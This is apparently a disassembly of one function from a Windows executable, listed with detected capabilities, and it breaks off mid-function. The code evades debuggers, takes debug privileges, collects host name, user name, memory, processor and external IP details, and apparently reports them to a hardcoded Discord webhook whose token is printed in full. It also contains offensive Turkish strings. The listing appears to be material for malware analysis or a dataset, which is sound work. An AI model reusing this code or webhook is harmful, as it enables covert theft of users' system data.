Function at 0x1400056e0
Capabilities:
Acquire debug privileges
Check for debugger via api
Contain obfuscated stackstrings
Execute command
Get hostname
Get memory capacity
Get system information on windows
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x760
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x14008f840]
xor rax, rsp
mov qword [rsp + 0x740], rax
xor r15d, r15d
mov ebx, r15d
mov dword [rsp + 0x50], ebx
lea rcx, [rsp + 0x5a0]
call fcn.1400074d0
xorps xmm1, xmm1
movups xmmword [rsp + 0x210], xmm1
xorps xmm2, xmm2
movdqa xmmword [rsp + 0x220], xmm2
mov r8d, 0xa
lea rdx, str.BasurBatu1
lea rcx, [rsp + 0x210]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x240], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Annesi_sikik_batu
lea rcx, [rsp + 0x230]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x260], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu2
lea rcx, [rsp + 0x250]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x280], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Orusbu_cocu_batu
lea rcx, [rsp + 0x270]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x2a0], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu3
lea rcx, [rsp + 0x290]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x2c0], xmm1
mov r8d, 7
lea rdx, str.Oc_batu
lea rcx, [rsp + 0x2b0]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x2e0], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu4
lea rcx, [rsp + 0x2d0]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x300], xmm1
mov r8d, 0xa
lea rdx, str.BETA_UCUBE
lea rcx, [rsp + 0x2f0]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x320], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu5
lea rcx, [rsp + 0x310]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x330], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x340], xmm1
mov r8d, listen
lea rdx, str.EPILEPSI_PIC
lea rcx, [rsp + 0x330]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x360], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu6
lea rcx, [rsp + 0x350]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x370], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x380], xmm1
mov r8d, select
lea rdx, str.ALLAHIN_MELEZI
lea rcx, [rsp + 0x370]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x390], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x3a0], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu7
lea rcx, [rsp + 0x390]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x3c0], xmm1
mov r8d, listen
lea rdx, str.UCUBE_PICCCC
lea rcx, [rsp + 0x3b0]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x3e0], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu8
lea rcx, [rsp + 0x3d0]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x3f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x400], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.EZ_PIC_CEREZ_PICCC
lea rcx, [rsp + 0x3f0]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x410], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x420], xmm1
mov r8d, 0xa
lea rdx, str.BasurBatu9
lea rcx, [rsp + 0x410]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x430], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x440], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.SIKIK_PIC_AGLAMA_LANNN
lea rcx, [rsp + 0x430]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x450], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x460], xmm1
mov r8d, listen
lea rdx, str.BasurBatu10
lea rcx, [rsp + 0x450]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x470], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x480], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.AGGGGGLLLLLAAAAMMMMAAAAALANNNN
lea rcx, [rsp + 0x470]
call fcn.14000a050
nop
lea rax, [rsp + 0x210]
mov qword [rsp + 0x560], rax
lea rax, [rsp + 0x490]
mov qword [rsp + 0x568], rax
movaps xmm0, xmmword [rsp + 0x560]
movdqa xmmword [rsp + 0x560], xmm0
lea rdx, [rsp + 0x560]
lea rcx, [rsp + 0x5a0]
call fcn.140007540
nop
lea r9, [fcn.140007420]
mov edx, 0x40
mov r8d, 0xa
lea rcx, [rsp + 0x210]
call fcn.14006e684
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x580], xmm0
mov qword [rsp + 0x590], rax
mov qword [rsp + 0x580], r15
mov qword [rsp + 0x588], r15
lea rax, [rsp + 0x580]
mov qword [rsp + 0x560], rax
lea rax, [rsp + 0x580]
mov qword [rsp + 0x568], rax
mov ecx, 0x60
call fcn.14006e648
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x580], rax
mov r8, rax
mov rdx, qword [rsp + 0x5a0]
mov rdx, qword [rdx + 8]
lea rcx, [rsp + 0x580]
call fcn.14000afb0
mov rcx, qword [rsp + 0x580]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x588], rax
mov r8, qword [rsp + 0x580]
mov rdx, qword [r8 + 8]
cmp byte [rdx + 0x19], r15b
jne 0x140005c83
mov rcx, qword [rdx]
cmp byte [rcx + 0x19], r15b
jne 0x140005c4f
nop word [rax + rax]
mov rdx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140005c40
mov qword [r8], rdx
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx + 8]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x140005c7d
nop dword [rax + rax]
mov rcx, rax
mov rax, qword [rax + 0x10]
cmp byte [rax + 0x19], 0
je 0x140005c70
mov qword [rdx + 0x10], rcx
jmp 0x140005c92
mov qword [r8], r8
mov rax, qword [rsp + 0x580]
mov qword [rax + 0x10], rax
mov qword [rsp + 0x590], r15
mov rax, qword [rsp + 0x580]
mov rcx, qword [rax]
mov qword [rsp + 0x590], rcx
lea rcx, [rsp + 0x5b0]
call fcn.1400038f0
lea rdx, [rsp + 0x5b0]
lea rcx, [rsp + 0x580]
call fcn.1400054b0
nop
mov rdi, qword [rsp + 0x5b0]
mov rsi, qword [rsp + 0x5b8]
cmp rdi, rsi
je 0x140005d49
mov r8, rdi
lea rdx, [rsp + 0x4e0]
lea rcx, [rsp + 0x580]
call fcn.140005360
mov rdx, qword [rsp + 0x4f8]
cmp rdx, 0xf
jbe 0x140005d43
inc rdx
mov rcx, qword [rsp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d3e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
add rdi, 0x20
jmp 0x140005ce0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400073f3
xor r15d, r15d
mov dword [rsp + 0x4d0], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x140005d8b
cmp dword [rsp + 0x4d0], r15d
jne 0x1400073f3
call fcn.1400018c0
test al, al
jne 0x1400073f3
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x4d0]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140005e4e
lea r8, [rsp + 0x4c0]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140005e38
mov dword [rsp + 0x560], 1
mov rax, qword [rsp + 0x4c0]
mov qword [rsp + 0x564], rax
mov dword [rsp + 0x56c], 2
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x560]
xor edx, edx
mov rcx, qword [rsp + 0x4d0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140005e38
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete dil
mov rcx, qword [rsp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1400073f3
call fcn.140001af0
test al, al
jne 0x1400073f3
call fcn.140001b20
test al, al
jne 0x1400073f3
mov qword [rsp + 0x598], r15
mov ecx, 3
call fcn.14000b790
call fcn.14000b520
mov qword [rsp + 0x598], rax
test rax, rax
je 0x14000731c
xorps xmm0, xmm0
movups xmmword [rsp + 0x690], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6a0], xmm1
mov r8d, 0x82
lea rdx, str.https:__media.discordapp.net_attachments_1017076046216048671_1276958601042198642_soldier_boy_render_by_gio3kyt_df94izu_414w_2x.png
lea rcx, [rsp + 0x690]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x670], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x680], xmm1
mov r8d, 0x87
lea rdx, str.https:__gist.githubusercontent.com_DeveloperAlex0_b8b9b97db9c05f9e2107fd026237825b_raw_6c95d4930b2e23fa33617d2546153d1c9e87af25_version
lea rcx, [rsp + 0x670]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x660], xmm1
mov r8d, Ordinal_30
lea rdx, str.SoftwareFalpx_Inc.AlexTool
lea rcx, [rsp + 0x650]
call fcn.14000a050
nop
lea rcx, [rsp + 0x598]
call fcn.140002580
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, listen
lea rdx, str.alextool.lua
lea rcx, [rsp + 0x58]
call fcn.14000a050
nop
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x6b0]
call fcn.140008b70
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140005fac
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007000
call fcn.14006e640
lea rdx, [rsp + 0x5c8]
lea rcx, [rsp + 0x6b0]
call fcn.140005000
nop
lea rcx, [rsp + 0x5c8]
mov rdi, qword [rsp + 0x5c8]
mov rsi, qword [rsp + 0x5e0]
cmp rsi, 0xf
cmova rcx, rdi
mov r8, qword [rsp + 0x5d8]
cmp r8, 0x15
jne 0x1400072af
lea rdx, str.return_AlexWasHere_
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400072af
cmp rsi, 0xf
jbe 0x140006042
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000603a
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000603a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14006e640
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x610]
call fcn.140008b70
nop
lea rax, [rsp + 0x630]
mov qword [rsp + 0x4d0], rax
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x630]
call fcn.140008b70
nop
lea rdx, [rsp + 0x630]
cmp qword [rsp + 0x648], 0xf
cmova rdx, qword [rsp + 0x630]
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14000735b
mov rcx, qword [rsp + 0x4c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x88], xmm1
mov r8d, 5
lea rdx, str.1.0.0
lea rcx, [rsp + 0x78]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, 7
lea rdx, str.Version
lea rcx, [rsp + 0x58]
call fcn.14000a050
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x630]
call fcn.140001fd0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140006194
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000618e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000618e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x1400061d7
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400061d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
lea rdx, [rsp + 0x598]
lea rcx, [rsp + 0x610]
call fcn.140003900
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x88], xmm1
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.My_Logger_Bot
lea rcx, [rsp + 0x78]
call fcn.14000a050
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, 0x79
lea rdx, str.https:__discord.com_api_webhooks_1275838166930034699_liaWVjVxjmvW6XbQi_DwnroWKEkoxDTWM6K72k69rmG2d8337Em07cTjPXuKmqfAs6OV
lea rcx, [rsp + 0x58]
call fcn.14000a050
nop
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x6d0]
call fcn.140008b70
nop
lea rax, [rsp + 0x598]
mov qword [rsp + 0x6f0], rax
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x6f8]
call fcn.140008b70
nop
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x718]
call fcn.140008b70
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400062ce
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400062c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x14000630e
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006309
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f5b
call fcn.14006e640
lea rdx, [rsp + 0xb8]
call fcn.1400028e0
mov r13, rax
lea rcx, [rsp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x88], xmm1
mov r8d, Ordinal_26
lea rdx, str.Processor_Architecture:
lea rcx, [rsp + 0x78]
call fcn.14000a050
or ebx, 2
mov dword [rsp + 0x50], ebx
movzx eax, word [rsp + 0x4e0]
lea rcx, [rsp + 0x78]
test eax, eax
je 0x14000639c
cmp eax, 9
je 0x140006388
mov r8d, 7
lea rdx, str.Unknown
call fcn.140008ab0
jmp 0x1400063ae
mov r8d, 3
lea rdx, [0x140082b9c]
call fcn.140008ab0
jmp 0x1400063ae
mov r8d, 3
lea rdx, [0x140082ba0]
call fcn.140008ab0
mov dword [rsp + 0x520], 0x40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x524], xmm0
movups xmmword [rsp + 0x534], xmm0
movups xmmword [rsp + 0x544], xmm0
mov qword [rsp + 0x554], rax
mov dword [rsp + 0x55c], eax
lea rcx, [rsp + 0x520]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov r8, qword [rsp + 0x530]
lea rdx, [rsp + 0x5c8]
call fcn.140002a90
or ebx, 4
mov dword [rsp + 0x50], ebx
mov dword [rsp + 0x4e0], 0x40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4e4], xmm0
movups xmmword [rsp + 0x4f4], xmm0
movups xmmword [rsp + 0x504], xmm0
mov qword [rsp + 0x514], rax
mov dword [rsp + 0x51c], eax
lea rcx, [rsp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov r8, qword [rsp + 0x4e8]
lea rdx, [rsp + 0x118]
call fcn.140002a90
or ebx, 8
mov dword [rsp + 0x50], ebx
lea rdx, [rsp + 0x158]
call fcn.1400027b0
mov r12, rax
mov dword [rsp + 0x4d0], 0x104
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x560], xmm1
mov qword [rsp + 0x570], r15
mov ecx, 0x104
call fcn.14006e648
mov rdi, rax
mov qword [rsp + 0x560], rax
lea rsi, [rax + 0x104]
mov qword [rsp + 0x570], rsi
xor edx, edx
mov r8d, 0x104
mov rcx, rax
call fcn.14006f69e
mov qword [rsp + 0x568], rsi
lea rdx, [rsp + 0x4d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov r8d, dword [rsp + 0x4d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xa8], xmm1
mov rdx, rdi
lea rcx, [rsp + 0x98]
call fcn.14000a050
or ebx, 0x10
mov dword [rsp + 0x50], ebx
test rdi, rdi
je 0x140006558
sub rsi, rdi
cmp rsi, 0x1000
jb 0x14000654c
mov esi, Ordinal_301
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x1400065c7
mov rdi, rcx
mov rdx, rsi
mov rcx, rdi
call fcn.14006e640
nop
mov r8, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
sub rax, r8
lea rsi, str.Giris_Basarilimi_bilmiyorum__nComputer_Name:
cmp rax, 0x2c
jb 0x140006616
lea rax, [r8 + 0x2c]
mov qword [rsp + 0xa8], rax
lea r14, [rsp + 0x98]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x98]
lea rax, [0x14008323c]
cmp rax, r14
jbe 0x1400065ce
lea rax, [r14 + r8]
cmp rsi, rax
ja 0x1400065ce
mov edi, Ordinal_46
cmp r14, rsi
jbe 0x1400065d6
mov r15, r14
sub r15, rsi
jmp 0x1400065d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov edi, Ordinal_46
mov r15d, edi
lea rcx, [r14 + 0x2c]
inc r8
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, rsi
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + r15]
sub rdi, r15
lea rdx, [r15 + 0x2c]
add rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x98]
xor r15d, r15d
jmp 0x140006634
mov edi, Ordinal_46
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
mov edx, edi
lea rcx, [rsp + 0x98]
call fcn.14000aba0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or ebx, 0x20
mov dword [rsp + 0x50], ebx
mov r8d, listen
lea rdx, str._nUser_Name:
lea rcx, [rsp + 0x58]
call fcn.140008ab0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x520], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x530], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or ebx, 0x40
mov dword [rsp + 0x50], ebx
mov r9, r12
lea r8, [rsp + 0x520]
lea rcx, [rsp + 0xf8]
call fcn.14000a500
or ebx, 1
mov dword [rsp + 0x50], ebx
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str._nTotal_Memory:
lea rcx, [rsp + 0xf8]
call fcn.140008ab0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x138], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x148], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 7
mov dword [rsp + 0x50], ebx
lea r9, [rsp + 0x118]
lea r8, [rsp + 0x138]
lea rcx, [rsp + 0xd8]
call fcn.14000a500
bts ebx, 8
mov dword [rsp + 0x50], ebx
mov r8d, reloc.WS2_32.dll_send
lea rdx, str._nAvailable_Memory:
lea rcx, [rsp + 0xd8]
call fcn.140008ab0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1e8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 9
mov dword [rsp + 0x50], ebx
lea r9, [rsp + 0x5c8]
lea r8, [rsp + 0x1d8]
lea rcx, [rsp + 0x198]
call fcn.14000a500
bts ebx, 0xa
mov dword [rsp + 0x50], ebx
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str._nProcessor_Info:
lea rcx, [rsp + 0x198]
call fcn.140008ab0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1b8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1c8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 0xb
mov dword [rsp + 0x50], ebx
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x1b8]
lea rcx, [rsp + 0x178]
call fcn.14000a500
bts ebx, 0xc
mov dword [rsp + 0x50], ebx
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str._nExternal_IP_Address:
lea rcx, [rsp + 0x178]
call fcn.140008ab0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x560], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x570], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 0xd
mov dword [rsp + 0x50], ebx
mov r9, r13
lea r8, [rsp + 0x560]
lea rcx, [rsp + 0x4e0]
call fcn.14000a500
bts ebx, 0xe
mov dword [rsp + 0x50], ebx
lea rdx, [rsp + 0x4e0]
lea rcx, [rsp + 0x6d0]
call fcn.140002ce0
nop
mov rdx, qword [rsp + 0x4f8]
cmp rdx, 0xf
jbe 0x1400068d8
inc rdx
mov rcx, qword [rsp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x578]
cmp rdx, 0xf
jbe 0x14000691f
inc rdx
mov rcx, qword [rsp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006919
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x190]
cmp rdx, 0xf
jbe 0x140006965
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006960
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006960
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqa xmm6, xmmword [0x140083460]
movdqu xmmword [rsp + 0x188], xmm6
mov byte [rsp + 0x178], 0
mov rdx, qword [rsp + 0x1d0]
cmp rdx, 0xf
jbe 0x1400069c5
inc rdx
mov rcx, qword [rsp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x140006a0b
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x1a8], xmm6
mov byte [rsp + 0x198], 0
mov rdx, qword [rsp + 0x1f0]
cmp rdx, 0xf
jbe 0x140006a63
inc rdx
mov rcx, qword [rsp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140006aa9
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
